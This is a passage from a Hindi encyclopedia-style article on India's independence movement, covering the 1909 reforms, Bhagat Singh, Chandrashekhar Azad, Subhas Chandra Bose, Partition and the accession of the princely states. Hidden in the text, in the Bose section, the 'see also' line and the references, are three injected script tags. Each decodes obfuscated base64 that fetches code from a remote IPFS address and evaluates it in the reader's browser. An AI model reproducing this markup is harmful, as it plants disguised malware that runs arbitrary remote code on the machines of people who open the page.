कॉउंसिल एक्ट द्वारा स्थापित विधानमंडलों में मुसलमानों को अनुचित रीति से अनुपात से अधिक प्रतिनिधित्व देकर उन्हें फोड़ने तथा कांग्रेस को तोड़ने की कोशिश की, फिर भी कांग्रेस ज़िन्दा रही।

सफलता की शुरुआत

कांग्रेस को पहली मामूली सफलता 1909 ई. में मिली, जब इंग्लैण्ड में भारतमंत्री के निर्देशन में काम करने वाली 'भारत परिषद' में दो भारतीय सदस्यों की नियुक्ति पहली बार की गयी। वाइसराय की 'एक्जीक्यूटिव काउंसिल' में पहली बार एक भारतीय सदस्य की नियुक्ति की गयी तथा 'इंडियन काउंसिल एक्ट' के द्वारा केन्द्रीय तथा प्रान्तीय विधानमंडलों का विस्तार कर दिया गया तथा उनमें निर्वाचित भारतीय प्रतिनिधियों का अनुपात पहले से अधिक बढ़ा दिया गया। इन सुधारों के प्रस्ताव लॉर्ड मार्ले ने हालाँकि भारत में संसदीय संस्थाओं की स्थापना करने का कोई इरादा होने से इन्कार किया, फिर भी एक्ट में जो व्यवस्थाएँ की गयीं थी, उनका उद्देश्य उसी दिशा में आगे बढ़ने के सिवा और कुछ नहीं हो सकता था। 1911 ई. में लॉर्ड कर्ज़न के द्वारा 1905 ई. में किया बंगाल का विभाजन रद्द कर दिया गया और भारत ने ब्रिटेन का पूरा साथ दिया। भारत ने युद्ध को जीतने के लिए ब्रिटेन की फ़ौजों से, धन से तथा समाग्री से मदद की। भारत आशा करता था कि इस राजभक्ति प्रदर्शन के बदले युद्ध से होने वाले लाभों में उसे भी हिस्सा मिलेगा।

सरदार भगत सिंह

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1919 ई. में रौलट एक्ट के विरोध में संपूर्ण भारत में प्रदर्शन हो रहे थे और इसी वर्ष 13 अप्रैल को जलियाँवाला बाग़ काण्ड हुआ। इस काण्ड का समाचार सुनकर भगत सिंह लाहौर से अमृतसर पहुंचे। देश पर मर-मिटने वाले शहीदों के प्रति श्रध्दांजलि दी तथा रक्त से भीगी मिट्टी को उन्होंने एक बोतल में रख लिया, जिससे सदैव यह याद रहे कि उन्हें अपने देश और देशवासियों के अपमान का बदला लेना है। 1920 ई. के महात्मा गांधी के असहयोग आंदोलन से प्रभावित होकर 1921 ई. में भगत सिंह ने स्कूल छोड़ दिया। असहयोग आंदोलन से प्रभावित छात्रों के लिए लाला लाजपत राय ने लाहौर में 'नेशनल कॉलेज' की स्थापना की थी। इसी कॉलेज में भगत सिंह ने भी प्रवेश लिया। 'पंजाब नेशनल कॉलेज' में उनकी देशभक्ति की भावना फलने-फूलने लगी। इसी कॉलेज में ही यशपाल, भगवतीचरण, सुखदेव, तीर्थराम, झण्डासिंह आदि क्रांतिकारियों से संपर्क हुआ। कॉलेज में एक नेशनल नाटक क्लब भी था। इसी क्लब के माध्यम से भगत सिंह ने देशभक्तिपूर्ण नाटकों में अभिनय भी किया।

चन्द्रशेखर आज़ाद

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चन्द्रशेखर आज़ाद के सफल नेतृत्व में भगत सिंह और बटुकेश्वर दत्त ने 8 अप्रैल, 1929 ई. को दिल्ली की 'केन्द्रीय असेंबली' में बम विस्फोट किए। ये विस्फोट सरकार द्वारा बनाए गए काले क़ानूनों के विरोध में किए गए थे। इस काण्ड के फलस्वरूप भी क्रान्तिकारी बहुत जनप्रिय हो गए। केन्द्रीय असेंबली में बम विस्फोट करने के पश्चात् भगत सिंह और बटुकेश्वर दत्त ने स्वयं को गिरफ्तार करा लिया। वे न्यायालय को अपना प्रचार–मंच बनाना चाहते थे। चन्द्रशेखर आज़ाद घूम–घूमकर क्रान्ति प्रयासों को गति देने में लगे हुए थे। आख़िर वह दिन भी आ गया, जब किसी मुखबिर ने पुलिस को वह सूचना दी, कि चन्द्रशेखर आज़ाद 'अल्फ़्रेड पार्क' में अपने एक साथी के साथ बैठे हुए हैं। चन्द्रशेखर आज़ाद ने पार्क में काफ़ी देर तक अंग्रेज़ों से मुकाबला किया। उनके पास सारी गोलियाँ समाप्त हो चुकी थीं, सिर्फ़ एक गोली ही शेष थी। वे अंग्रेज़ों के हाथों में आना नहीं चाहते थे। स्वयं को गिरफ्तारी से बचाने के लिए उन्होंने वह एक शेष गोली अपने मस्तिष्क से सटाकर चली दी। इस प्रकार एक ऐसे देशभक्त का अन्त हो गया, जिसने आज़ादी की प्राप्ति के लिये प्राणों का मोह नहीं किया। देश का हर एक नागरिक इस वीर के ऋण को सदैव याद रखे, यही उस वीर के लिये एक सच्ची श्रृद्धाजंली होगी।

नेताजी बोस

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सुभाष चन्द्र बोस एक महान् नेता थे। कहते हैं न, कि नेता अपने सिद्धांतों से कभी समझौता नहीं करते, पर उनमें विरोधियों को साथ लेकर चलने का महान् गुण होता है। सो नेता जी में यह गुण कूट-कूट कर भरा था। दरअसल, भारतीय स्वतंत्रता संग्राम में अलग-अलग विचारों के दल थे। ज़ाहिर तौर पर महात्मा गाँधी को उदार विचारों वाले दल का प्रतिनिधि माना जाता था। वहीं नेताजी अपने जोशीले स्वभाव के कारण क्रांतिकारी विचारों वाले दल में थे। यही कारण था कि महात्मा गाँधी और सुभाष चन्द्र बोस के विचार भिन्न-भिन्न थे। लेकिन वे यह अच्छी तरह जानते थे कि, महात्मा गाँधी और उनका मक़सद एक है, यानी देश की आज़ादी। वे यह भी जानते थे कि महात्मा गाँधी ही देश के राष्ट्रपिता कहलाने के सचमुच हक़दार हैं। सबसे पहले गाँधी जी को राष्ट्रपिता कहने वाले नेताजी ही थे। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: सरदार बल्लभ भाई पटेल , सुखदेव, राजगुरु, लाला लाजपत राय एवं आज़ाद हिन्द फ़ौज

सम्प्रदायिक दंगे

कुछ ब्रिटिश अफ़सरों ने भारत को स्वाधीन होने से रोकने के लिए अंतिम दुर्राभ संधि की और मुसलमानों की भारत विभाजन करके पाकिस्तान की स्थापना की माँग का समर्थन करना शुरू कर दिया। इसके फलस्वरूप अगस्त 1946 ई. में सारे देश में भयानक सम्प्रदायिक दंगे शुरू हो गये, जिन्हें वाइसराय लॉर्ड वेवेल अपने समस्त फ़ौजी अनुभवों तथा साधनों बावजूद रोकन में असफल रहा। यह अनुभव किया गया कि भारत का प्रशासन ऐसी सरकार के द्वारा चलाना सम्भव नहीं है, जिसका नियंत्रण मुध्य रूप से अंग्रेज़ों के हाथों में हो। अतएव सितम्बर 1946 ई. में लॉर्ड वेवेल ने पंडित जवाहर लाल नेहरू के नेतृत्व में भारतीय नेताओं की एक अंतरिम सरकार गठित की। ब्रिटिश अधिकारियों की कृपापात्र होने के कारण मुस्लिम लीग के दिमाग़ काफ़ी ऊँचे हो गये थे। उसने पहले तो एक महीने तक अंतरिम सरकार से अपने को अलग रखा, इसके बाद वह भी उसमें सम्मिलित हो गयी।

स्वतंत्रता प्राप्ति

भारत का संविधान बनाने के लिए एक भारतीय संविधान सभा का आयोजन किया गया। 1947 ई. के शुरू में लॉर्ड वेवेल के स्थान पर लॉर्ड माउंटबेटेन वाइसराय नियुक्त हुआ। उसे पंजाब में भयानक सम्प्रदायिक दंगों का सामना करना पड़ा। जिनको भड़काने में वहाँ के कुछ ब्रिटिश अफ़सरों का हाथ था। वह प्रधानमंत्री एटली के नेतृत्व में ब्रिटेन की सरकार को यह समझाने में सफल हो गया कि भारत का भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान करने से शान्ति की स्थापना सम्भव हो सकेगी और ब्रिटेन भारत में अपने व्यापारिक हितों को सुरक्षित रख सकेगा। 3 जून, 1947 ई. को ब्रिटिश सरकार की ओर से यह घोषणा कर दी गयी कि भारत का; भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान कर दी जायगी। ब्रिटिश पार्लियामेंट ने 15 अगस्त, 1947 ई. को 'इंडिपेडंस ऑफ़ इंडिया एक्ट' पास कर दिया। इस तरह भारत उत्तर पश्चिमी सीमा प्रान्त, बलूचिस्तान, सिंध, पश्चिमी पंजाब, पूर्वी बंगाल तथा पश्चिम बंगाल के मुस्लिम बहुल भागों से रहित हो जाने के बाद, सात शताब्दियों की विदेशी पराधीनता के बाद स्वाधीनता के एक नये पथ पर अग्रसर हुआ।

रियासतों का विलय

अधिकांश देशी रियासतों ने, जिनके सामने भारत अथवा पाकिस्तान में विलय का प्रस्ताव रखा गया था, भारत में विलय के पक्ष में निर्णय लिया, परन्तु, दो रियासतों-कश्मीर तथा हैदराबाद ने कोई निर्णय नहीं किया। पाकिस्तान ने बलपूर्वक कश्मीर की रियासत पर अधिकार करने का प्रयास किया, परन्तु अक्टूबर 1947 ई. में कश्मीर के महाराज ने भारत में विलय की घोषणा कर दी और भारतीय सेनाओं को वायुयानों से भेजकर श्रीनगर सहित कश्मीरी घाटी तक जम्मू की रक्षा कर ली गयी। पाकिस्तानी आक्रमणकारियों ने रियासत के उत्तरी भाग पर अपना क़ब्ज़ा बनाये रखा और इसके फलस्वरूप पाकिस्तान से युद्ध छिड़ गया। भारत ने यह मामला संयुक्त राष्ट्र संघ में उठाया और संयुक्त राष्ट्र संघ ने जिस क्षेत्र पर जिसका क़ब्ज़ा था, उसी के आधार पर युद्ध विराम कर दिया। वह आज तक इस सवाल का कोई निपटारा नहीं कर सका है। हैदराबाद के निज़ाम ने अपनी रियासत को स्वतंत्रता का दर्जा दिलाने का षड़यंत्र रचा, परन्तु भारत सरकार की पुलिस कार्रवाई के फलस्वरूप वह 1948 ई. में अपनी रियासत भारत में विलयन करने के लिए मजबूर हो गये। रियासतों के विलय में तत्कालीन गृहमंत्री सरदार बल्लभ भाई पटेल की मुख्य भूमिका रही।

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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 पाण्डेय, धनपति। आधुनिक भारत का इतिहास - भाग 1 (हिन्दी) मोतीलाल बनारसीदास पब्लिशर्स। अभिगमन तिथि: 2 अगस्त, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. (टी.जी.पी स्पीयर, 'ट्विलाइट आफ मुग़ल्स,' पृ.5)

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